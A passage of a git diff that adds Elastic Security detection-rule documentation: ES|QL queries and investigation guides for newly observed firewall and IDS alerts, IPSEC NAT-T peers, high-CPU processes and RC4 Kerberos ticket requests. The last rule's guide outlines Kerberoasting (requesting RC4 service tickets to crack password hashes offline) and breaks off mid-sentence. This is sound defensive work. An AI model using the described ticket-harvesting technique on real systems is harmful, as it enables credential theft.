Domain: Network +* Data Source: Fortinet +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Newly Observed Fortigate Alert* + + +This rule surfaces newly observed, low-frequency high severity FortiGate alerts within the last 5 days. + +Because the alert has not been seen previously, it should be prioritized for validation to determine whether it represents a true compromise or rare benign activity. + + +*Investigation Steps* + + +- Identify the source address, affected host and review the associated message to understand the alert. +- Validate the source address under which the activity occurred and assess whether it aligns with normal behavior. +- Refer to the specific alert details like event.original to get more context. + + +*False Positive Considerations* + + +- Vulnerability scanners and pentesting. +- Administrative scripts or automation tools can trigger detections when first introduced. +- Development or testing environments may produce one-off behaviors that resemble malicious techniques. + + +*Response and Remediation* + + +- If the activity is confirmed malicious, isolate the affected host to prevent further execution or lateral movement. +- Terminate malicious processes and remove any dropped files or persistence mechanisms. +- Collect forensic artifacts to understand initial access and execution flow. +- Patch or remediate any vulnerabilities or misconfigurations that enabled the behavior. +- If benign, document the finding and consider tuning or exception handling to reduce future noise. +- Continue monitoring the host and environment for recurrence of the behavior or related alerts. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-fortinet_fortigate.*, filebeat-* metadata _id + +| WHERE event.module == "fortinet_fortigate" and event.action in ("signature", "ssl-anomaly") and + message is not null and event.category != "authentication" and + message != "Connection Failed" and not message like "Web.Client: *" and + not message like "Network.Service: *" and not message like "General.Interest*" and not message like "Update: *" and + not message like "tcp_reassembler*" and not message like "a-ipdf*" and not message like "Video*" and not message like "nbss_decode*" and + not message like "name_server*" and not message like "misc*" and not message like "Collaboration*" and not message like "Business*" and + not message like "Cloud.IT*" and not message like "Mobile*" + +| STATS Esql.alerts_count = count(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.distinct_count_src_ip = COUNT_DISTINCT(source.ip), + Esql.distinct_count_dst_ip = COUNT_DISTINCT(destination.ip), + src_ip = VALUES(source.ip), + dst_ip = VALUES(destination.ip), + url_domain = VALUES(url.domain), + url_path = VALUES(url.path) by message, event.category, event.outcome + +// first time seen is within 10m of the rule execution time +| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) +| where Esql.recent <= 10 and Esql.alerts_count <= 5 and Esql.distinct_count_src_ip <= 2 and Esql.distinct_count_dst_ip <= 2 + +// move dynamic fields to ECS equivalent for rule exceptions +| eval source.ip = MV_FIRST(src_ip), + destination.ip = MV_FIRST(dst_ip), + url.domain = MV_FIRST(url_domain), + url.path = MV_FIRST(url_path) + +| keep message, event.category, event.outcome, Esql.*, source.ip, destination.ip, url.domain, url.path + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-high-severity-detection-alert.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-high-severity-detection-alert.asciidoc new file mode 100644 index 0000000000..bab80d2659 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-high-severity-detection-alert.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-newly-observed-high-severity-detection-alert]] +=== Newly Observed High Severity Detection Alert + +This rule detects Elastic SIEM high severity detection alerts that are observed for the first time in the previous 5 days of alert history. It highlights low-volume, newly observed alerts tied to a specific detection rule, analysts can use this to prioritize triage and response. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/solutions/security/detect-and-alert/about-detection-rules + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Newly Observed High Severity Detection Alert* + + +This rule surfaces newly observed, low-frequency behavior high severity alerts affecting a single agent within the current day. + +Because the alert has not been seen previously for this rule and host, it should be prioritized for validation to determine +whether it represents a true compromise or rare benign activity. + + +*Investigation Steps* + + +- Identify the affected host, user and review the associated rule name to understand the behavior that triggered the alert. +- Validate the user context under which the activity occurred and assess whether it aligns with normal behavior for that account. +- Refer to the specific rule investiguation guide for further actions. + + +*False Positive Considerations* + + +- Newly deployed or updated software may introduce behavior not previously observed on the host. +- Administrative scripts or automation tools can trigger behavior-based detections when first introduced. +- Security tooling, IT management agents, or EDR integrations may generate new behavior alerts during updates or configuration changes. +- Development or testing environments may produce one-off behaviors that resemble malicious techniques. + + +*Response and Remediation* + + +- If the activity is confirmed malicious, isolate the affected host to prevent further execution or lateral movement. +- Terminate malicious processes and remove any dropped files or persistence mechanisms. +- Collect forensic artifacts to understand initial access and execution flow. +- Patch or remediate any vulnerabilities or misconfigurations that enabled the behavior. +- If benign, document the finding and consider tuning or exception handling to reduce future noise. +- Continue monitoring the host and environment for recurrence of the behavior or related alerts. + +==== Rule query + + +[source, js] +---------------------------------- +FROM .alerts-security.* +| where kibana.alert.rule.name is not null and kibana.alert.risk_score >= 73 and + not kibana.alert.rule.type in ("threat_match", "machine_learning", "new_terms") and + not kibana.alert.rule.name like "Deprecated - *" and kibana.alert.rule.name != "My First Rule" and + // covered by 7306ce7d-5c90-4f42-aa6c-12b0dc2fe3b8 + event.dataset != "endpoint.alerts" and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) +| STATS Esql.alerts_count = count(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.last_time_seen = MAX(@timestamp), + Esql.process_executable = VALUES(process.executable), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.process_parent_executable_values = VALUES(process.parent.executable), + Esql.file_path_values = VALUES(file.path), + Esql.dll_path_values = VALUES(dll.path), + Esql.user_id_values = VALUES(user.id), + Esql.user_name_values = VALUES(user.name), + Esql.agent_id_values = VALUES(agent.id), + Esql.host_id_values = VALUES(host.id), + Esql.event_module_values = VALUES(event.module), + Esql.source_ip_values = VALUES(source.ip), + Esql.kibana_alert_rule_name_values = VALUES(kibana.alert.rule.name), + Esql.agent_id_distinct_count = COUNT_DISTINCT(agent.id) by kibana.alert.rule.name +// fist time seen in the last 5 days - defined in the rule schedule Additional look-back time +| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) +// first time seen is within 10m of the rule execution time +| where Esql.recent <= 10 and Esql.agent_id_distinct_count == 1 and Esql.alerts_count <= 10 and (Esql.last_time_seen == Esql.first_time_seen) + +// Move single values to their corresponding ECS fields for alerts exclusion +| eval host.id = mv_min(Esql.host_id_values) + +| keep host.id, kibana.alert.rule.name, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-high-severity-suricata-alert.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-high-severity-suricata-alert.asciidoc new file mode 100644 index 0000000000..643c9f7b28 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-high-severity-suricata-alert.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-34-newly-observed-high-severity-suricata-alert]] +=== Newly Observed High Severity Suricata Alert + +This rule detects Suricata high severity alerts that are observed for the first time in the previous 5 days of alert history. Analysts can use this to prioritize triage and response. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/suricata + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Domain: Network +* Data Source: Suricata +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Rule Type: ES|QL + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Newly Observed High Severity Suricata Alert* + + +This rule surfaces newly observed, low-frequency high severity suricata alerts within the last 5 days. + +Because the alert has not been seen previously for this rule and host, it should be prioritized for validation to determine +whether it represents a true compromise or rare benign activity. + + +*Investigation Steps* + + +- Identify the source address, affected host and review the associated rule name to understand the behavior that triggered the alert. +- Validate the source address under which the activity occurred and assess whether it aligns with normal behavior. +- Refer to the specific alert details like event.original to get more context. + + +*False Positive Considerations* + + +- Vulnerability scanners and pentesting. +- Administrative scripts or automation tools can trigger detections when first introduced. +- Development or testing environments may produce one-off behaviors that resemble malicious techniques. + + +*Response and Remediation* + + +- If the activity is confirmed malicious, isolate the affected host to prevent further execution or lateral movement. +- Terminate malicious processes and remove any dropped files or persistence mechanisms. +- Collect forensic artifacts to understand initial access and execution flow. +- Patch or remediate any vulnerabilities or misconfigurations that enabled the behavior. +- If benign, document the finding and consider tuning or exception handling to reduce future noise. +- Continue monitoring the host and environment for recurrence of the behavior or related alerts. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-suricata.* + + // high severity alerts +| where event.module == "suricata" and event.kind == "signal" and event.severity == 1 and + rule.name is not null and + not rule.name like "SURICATA STREAM*" + +| STATS Esql.alerts_count = count(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.distinct_count_src_ip = COUNT_DISTINCT(source.ip), + Esql.distinct_count_dst_ip = COUNT_DISTINCT(destination.ip), + src_ip_values = VALUES(source.ip), + dst_ip_values = VALUES(destination.ip), + url_dom = VALUES(url.domain), + url_path = VALUES(url.path) by rule.name, event.type + +| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) + // first time seen is within 10m of the rule execution time +| where Esql.recent <= 10 and +// exclude high volume alerts such as vuln-scanners + Esql.alerts_count <= 5 and Esql.distinct_count_src_ip <= 2 and Esql.distinct_count_dst_ip <= 2 + +// move dynamic fields to ECS quivalent for rule exceptions +| eval source.ip = MV_FIRST(src_ip_values), + destination.ip = MV_FIRST(dst_ip_values), + url.domain = MV_FIRST(url_dom), + url.path = MV_FIRST(url_path) +| keep rule.name, event.type, Esql.*, source.ip, destination.ip, url.domain, url.path + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-ipsec-nat-traversal-peer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-ipsec-nat-traversal-peer.asciidoc new file mode 100644 index 0000000000..c8b891a020 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-ipsec-nat-traversal-peer.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-newly-observed-ipsec-nat-traversal-peer]] +=== Newly Observed IPSEC NAT Traversal Peer + +This rule identifies outbound IPSEC NAT Traversal (NAT-T) traffic to an external destination IP that was not observed during the previous 5 days. IPSEC is a VPN technology that allows one system to talk to another using encrypted tunnels. NAT Traversal encapsulates IPSEC ESP traffic in UDP and, once a NAT device is detected, both peers float to UDP port 4500 for the tunnel data channel. Newly observed external NAT-T peers may indicate unauthorized VPN use or an adversary tunneling command and control or exfiltration traffic over the Internet. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Tactic: Command and Control +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Data Source: Network Traffic +* Data Source: pfSense +* Data Source: Zeek +* Resources: Investigation Guide +* Rule Type: ES|QL +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Newly Observed IPSEC NAT Traversal Peer* + + +IPSEC NAT Traversal facilitates secure VPN communication across NAT devices by encapsulating IPSEC packets in UDP, typically using port 4500. While essential for legitimate encrypted traffic, adversaries exploit this to mask malicious activities and bypass network defenses. This rule surfaces an external destination the first time NAT-T traffic to it is observed within a 5-day history window. + + +*Possible investigation steps* + + +- Review the source and destination IP addresses associated with the UDP traffic on port 4500 to determine if they are known or expected within your network environment. +- Analyze the volume and frequency of the detected traffic to assess whether it aligns with typical IPSEC NAT Traversal usage or if it appears anomalous. +- Check for any associated network traffic events in the same timeframe that might indicate a pattern of suspicious activity, such as unusual data transfer volumes or connections to known malicious IP addresses. +- Investigate the endpoint or device generating the traffic to verify if it is authorized to use IPSEC NAT Traversal and if it has any history of security incidents or vulnerabilities. +- Correlate the detected activity with any recent changes in network configurations or security policies that might explain the traffic pattern. +- Consult threat intelligence sources to determine if the destination IP address or domain has been associated with known threat actors or command and control infrastructure. + + +*False positive analysis* + + +- A legitimate VPN gateway will alert when it is first deployed or first observed after more than 5 days of inactivity. +- Legitimate VPN traffic using IPSEC NAT Traversal can trigger alerts. Regularly review and whitelist known IP addresses or subnets associated with authorized VPN connections to reduce false positives. +- Network devices or services that rely on IPSEC for secure communication may generate expected traffic on port 4500. Identify and document these devices, then create exceptions in the detection rule to prevent unnecessary alerts. +- Automated backup or synchronization services that use IPSEC for secure data transfer might be flagged. Monitor these services and exclude their traffic patterns if they are verified as non-threatening. +- Some enterprise applications may use IPSEC NAT Traversal for secure communication. Conduct an inventory of such applications and adjust the rule to exclude their traffic after confirming their legitimacy. +- Regularly update the list of known safe IP addresses and services to ensure that new legitimate sources of IPSEC NAT Traversal traffic are promptly excluded from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further potential malicious activity and lateral movement. +- Conduct a thorough analysis of the isolated system to identify any signs of compromise, such as unauthorized access or data exfiltration, focusing on logs and network traffic related to UDP port 4500. +- Block all suspicious IP addresses associated with the detected traffic on port 4500 at the network perimeter to prevent further communication with potential threat actors. +- Review and update firewall and intrusion detection/prevention system (IDS/IPS) rules to ensure they effectively block unauthorized IPSEC NAT Traversal traffic, particularly on UDP port 4500. +- Restore the affected system from a known good backup if any signs of compromise are confirmed, ensuring that all security patches and updates are applied before reconnecting to the network. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for UDP traffic on port 4500 to detect and respond to any future suspicious activity promptly. + +==== Rule query + + +[source, js] +---------------------------------- +FROM packetbeat-*, auditbeat-*, filebeat-*, logs-network_traffic.flow-*, logs-panw.panos*, logs-pfsense.log-*, logs-zeek.connection-* METADATA _id +| WHERE ( + data_stream.dataset IN ("network_traffic.flow", "zeek.connection") + OR MV_CONTAINS(event.category, "network") + OR MV_CONTAINS(event.category, "network_traffic") + ) + AND network.transport == "udp" + AND source.port == 4500 + AND destination.port == 4500 + AND CIDR_MATCH(source.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16") + AND NOT CIDR_MATCH( + destination.ip, + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", + "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", + "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", + "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", + "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8" + ) + AND ( + data_stream.dataset IS NULL + OR data_stream.dataset != "panw.panos" + OR event.action IS NULL + OR event.action NOT IN ("flow_dropped", "flow_denied") + ) +| EVAL Esql.dataset = COALESCE(data_stream.dataset, event.dataset) +| STATS + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp), + Esql.event_count = COUNT(*), + Esql.source_ip_count = COUNT_DISTINCT(source.ip), + Esql.source_ip_values = MV_SLICE(VALUES(source.ip), 0, 100), + Esql.event_action_values = VALUES(event.action), + Esql.dataset_values = VALUES(Esql.dataset), + Esql.observer_name_values = MV_SLICE(VALUES(observer.name), 0, 20) + BY destination.ip +| EVAL Esql.recent = DATE_DIFF("minute", Esql.first_seen, NOW()) +| WHERE Esql.recent >= 0 AND Esql.recent <= 10 +| KEEP destination.ip, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Technique: +** Name: Encrypted Channel +** ID: T1573 +** Reference URL: https://attack.mitre.org/techniques/T1573/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-palo-alto-network-alert.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-palo-alto-network-alert.asciidoc new file mode 100644 index 0000000000..4d53df78fa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-palo-alto-network-alert.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-newly-observed-palo-alto-network-alert]] +=== Newly Observed Palo Alto Network Alert + +This rule detects Palo Alto Network alerts that are observed for the first time in the previous 5 days of alert history. Analysts can use this to prioritize triage and response. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/panw + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Domain: Network +* Data Source: PAN-OS +* Noise: Medium +* Performance: Fast +* Rule Type: ES|QL + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Newly Observed Palo Alto Network Alert* + + +This rule surfaces newly observed, low-frequency high severity Palo Alto Network alert within the last 5 days. + +Because the alert has not been seen previously for this rule and host, it should be prioritized for validation to determine +whether it represents a true compromise or rare benign activity. + + +*Investigation Steps* + + +- Identify the source address, affected host and review the associated rule name to understand the behavior that triggered the alert. +- Validate the source address under which the activity occurred and assess whether it aligns with normal behavior. +- Refer to the specific alert details like event.original to get more context. + + +*False Positive Considerations* + + +- Vulnerability scanners and pentesting. +- Administrative scripts or automation tools can trigger detections when first introduced. +- Development or testing environments may produce one-off behaviors that resemble malicious techniques. + + +*Response and Remediation* + + +- If the activity is confirmed malicious, isolate the affected host to prevent further execution or lateral movement. +- Terminate malicious processes and remove any dropped files or persistence mechanisms. +- Collect forensic artifacts to understand initial access and execution flow. +- Patch or remediate any vulnerabilities or misconfigurations that enabled the behavior. +- If benign, document the finding and consider tuning or exception handling to reduce future noise. +- Continue monitoring the host and environment for recurrence of the behavior or related alerts. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-panw.panos-*, filebeat-* metadata _id + +// exclude Informational and Low severity levels (4 and 5) +| where data_stream.dataset == "panw.panos" and + TO_INTEGER(event.severity) <= 3 and + event.action != "flood_detected" and + (event.kind IS NULL or event.kind != "metric") + +| STATS Esql.alerts_count = count(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.distinct_count_src_ip = COUNT_DISTINCT(source.ip), + Esql.distinct_count_dst_ip = COUNT_DISTINCT(destination.ip), + src_ip = VALUES(source.ip), + dst_ip = VALUES(destination.ip), + url_dom = VALUES(url.domain), + url_path = VALUES(url.path) by rule.name, event.action, event.type, event.kind, event.severity + +// first time seen is within 10m of the rule execution time within last 5 days +| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) +| where Esql.recent <= 10 and Esql.alerts_count <= 5 and Esql.distinct_count_src_ip <= 2 and Esql.distinct_count_dst_ip <= 2 + +// move dynamic fields to ECS quivalent for rule exceptions +| eval source.ip = MV_FIRST(src_ip), + destination.ip = MV_FIRST(dst_ip), + url.domain = MV_FIRST(url_dom), + url.path = MV_FIRST(url_path) +| keep rule.name, event.*, Esql.*, source.ip, destination.ip, url.domain, url.path + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-process-exhibiting-high-cpu-usage.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-process-exhibiting-high-cpu-usage.asciidoc new file mode 100644 index 0000000000..a7c6d655dc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-process-exhibiting-high-cpu-usage.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-newly-observed-process-exhibiting-high-cpu-usage]] +=== Newly Observed Process Exhibiting High CPU Usage + +This rule alerts on processes exhibiting high CPU usage and that are observed for the first time in the previous 5 days. A previously unseen process consuming sustained CPU resources may indicate suspicious activity such as cryptomining, exploit payload execution, or other forms of resource abuse following host compromise. In some cases, this may also surface legitimate but unexpected software causing performance degradation. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Use Case: Observavility +* Resources: Investigation Guide +* Domain: Endpoint +* Tactic: Impact +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Cryptomining +* Rule Type: ES|QL + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Newly Observed Process Exhibiting High CPU Usage* + + +This rule alerts on processes exhibiting high CPU usage and that are observed for the first time in the previous 5 days. + + +*Possible investigation steps* + +- Examine the process name, command line, and SHA-256 hash to determine whether the process is expected or known to be malicious. +- Validate the observed CPU usage and duration to determine whether the spike is abnormal for this process and host. +- Check for related process activity such as parent/child processes, suspicious process spawning, or privilege escalation attempts. +- Review additional host telemetry including: + - Network connections initiated by the process + - File creation or modification events + - Persistence mechanisms (services, scheduled tasks, registry keys) +- Determine whether similar activity is observed on other hosts, which may indicate a broader compromise. + + +*False positive analysis* + +- Legitimate high-CPU processes such as software updates, backup agents, security scans, or system maintenance tasks. +- Resource-intensive but benign applications (e.g., compilers, video encoding, data processing jobs). +- Security tools or monitoring agents temporarily consuming high CPU. + + +*Related Rules* + + +- Detection Alert on a Process Exhibiting CPU Spike - df9c0e92-5dee-4f1d-a760-3a5c039e4382 +- Multiple Alerts on a Host Exhibiting CPU Spike - b7f77c3c-1bcb-4afc-9ace-49357007947b + + +*Response and remediation* + +- If malicious activity is confirmed, isolate the affected host to prevent further impact. +- Terminate the offending process if safe to do so. +- Remove any identified malicious binaries or artifacts and eliminate persistence mechanisms. +- Apply relevant patches or configuration changes to remediate the root cause. +- Monitor the environment for recurrence of similar high-CPU processes combined with security alerts. +- Escalate the incident if multiple hosts or indicators suggest coordinated or widespread activity. + +==== Setup + + + +*Setup* + + +This rule requires host CPU metrics collected via the Elastic Agent **System** integration. + + +*System Metrics Integration Setup* + +The System integration collects host-level metrics such as CPU usage, load, memory, and process statistics and sends them to Elasticsearch using Elastic Agent. + + +*Prerequisite Requirements:* + +- Elastic Agent managed by Fleet +- A Fleet Server configured and reachable + Refer to the Fleet Server setup guide: + https://www.elastic.co/guide/en/fleet/current/fleet-server.html + + +*The following steps should be executed in order to enable CPU metrics collection:* + +- Go to the Kibana home page and click **Add integrations**. +- In the search bar, enter **System** and select the **System** integration. +- Click **Add System**. +- Configure an integration name and optionally add a description. +- Under **Metrics**, ensure the following datasets are enabled: + - `system.cpu` + - `system.load` (optional but recommended) + - `system.process` (optional, if process-level CPU is required) +- Review optional and advanced settings as needed. +- Add the integration to an existing agent policy or create a new agent policy. +- Deploy the Elastic Agent to the hosts from which CPU metrics should be collected. +- Click **Save and Continue** to finalize the setup. + + +*Validation* + +After deployment, verify CPU metrics ingestion by confirming the presence of documents in: +- `metrics-system.cpu-*` +- `metrics-system.load-*` (if enabled) + +For more details on the System integration and available metrics, refer to the documentation: +https://docs.elastic.co/integrations/system + + +==== Rule query + + +[source, js] +---------------------------------- +FROM metrics-* +// more than 90% CPU use +| WHERE system.process.cpu.total.norm.pct >= 0.9 and process.name is not null +| STATS Esql.total_count = count(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.agent_id_values = COUNT_DISTINCT(agent.id), + Esql.system_process_cpu_total_norm_pct_values = MAX(system.process.cpu.total.norm.pct), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.host_id_values = values(host.id), + Esql.user_name_values = VALUES(user.name) by process.name +| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) +// first time seen is within 6m of the rule execution time and first seen in the last 5 days as per the rule from schedule and limited to 1 unique hostg +| where Esql.recent <= 6 and Esql.agent_id_values == 1 +// populate fields for rule exception +| eval host.id = MV_FIRST(Esql.host_id_values), + process.command_line = MV_FIRST(Esql.process_command_line_values) +| keep host.id, process.name, process.command_line, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Compute Hijacking +** ID: T1496.001 +** Reference URL: https://attack.mitre.org/techniques/T1496/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-rc4-kerberos-service-ticket-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-rc4-kerberos-service-ticket-request.asciidoc new file mode 100644 index 0000000000..7f2c1c3c0d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-rc4-kerberos-service-ticket-request.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-newly-observed-rc4-kerberos-service-ticket-request]] +=== Newly Observed RC4 Kerberos Service Ticket Request + +Identifies a successful RC4-HMAC Kerberos service ticket request for a requester and service pair that has not been observed during the previous 7 days. A newly observed requester-to-service relationship involving an RC4-encrypted ticket may indicate Kerberoasting. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows-server/security/kerberos/detect-remediate-rc4-kerberos + +*Tags*: + +* Domain: Identity +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Newly Observed RC4 Kerberos Service Ticket Request* + + +This alert flags a successful Windows Kerberos service ticket request that used legacy RC4 encryption for a requester-to-service pairing not seen in the last week. It matters because RC4 tickets are easier for attackers to crack offline, and a new pairing can reveal account targeting rather than normal application behavior. A common pattern is an intruder using a low-privileged domain account to request RC4 tickets for SPN-backed service accounts, then extracting password hashes for Kerberoasting. + + +*Possible investigation steps* + + +- Validate whether the requester, source host, and service account relationship aligns with a known application change, scheduled task, or newly deployed system, because legitimate first-seen pairings often coincide with onboarding or configuration work. +- Review recent authentication activity for the requester across domain controllers for bursts of service ticket requests to multiple SPNs, especially privileged or human-managed service accounts, which is a strong Kerberoasting pattern. +- Pivot on the requesting host and user for adjacent suspicious behavior such as interactive logons from unusual systems, PowerShell or script execution, remote administration activity, credential dumping alerts, or other Active Directory enumeration in the same timeframe. +- Examine the targeted service account’s privilege level, password age, SPN exposure, delegation settings, and whether it still permits RC4, then prioritize escalation if the account is highly privileged, old, or tied to critical services. +- If the activity is not readily explained, contain the requester and source system as appropriate and rotate the service account credentials while planning to disable RC4 support and enforce stronger Kerberos encryption for affected accounts. + + +*False positive analysis* + + +- A newly deployed or reconfigured Windows service, scheduled task, or application host can create a first-seen requester-to-service pairing against a legacy SPN that still uses RC4, so verify recent change activity and confirm the requester, source host, and service account match the expected business function. +- An infrequently run maintenance or batch process may legitimately request an RC4 service ticket after more than seven 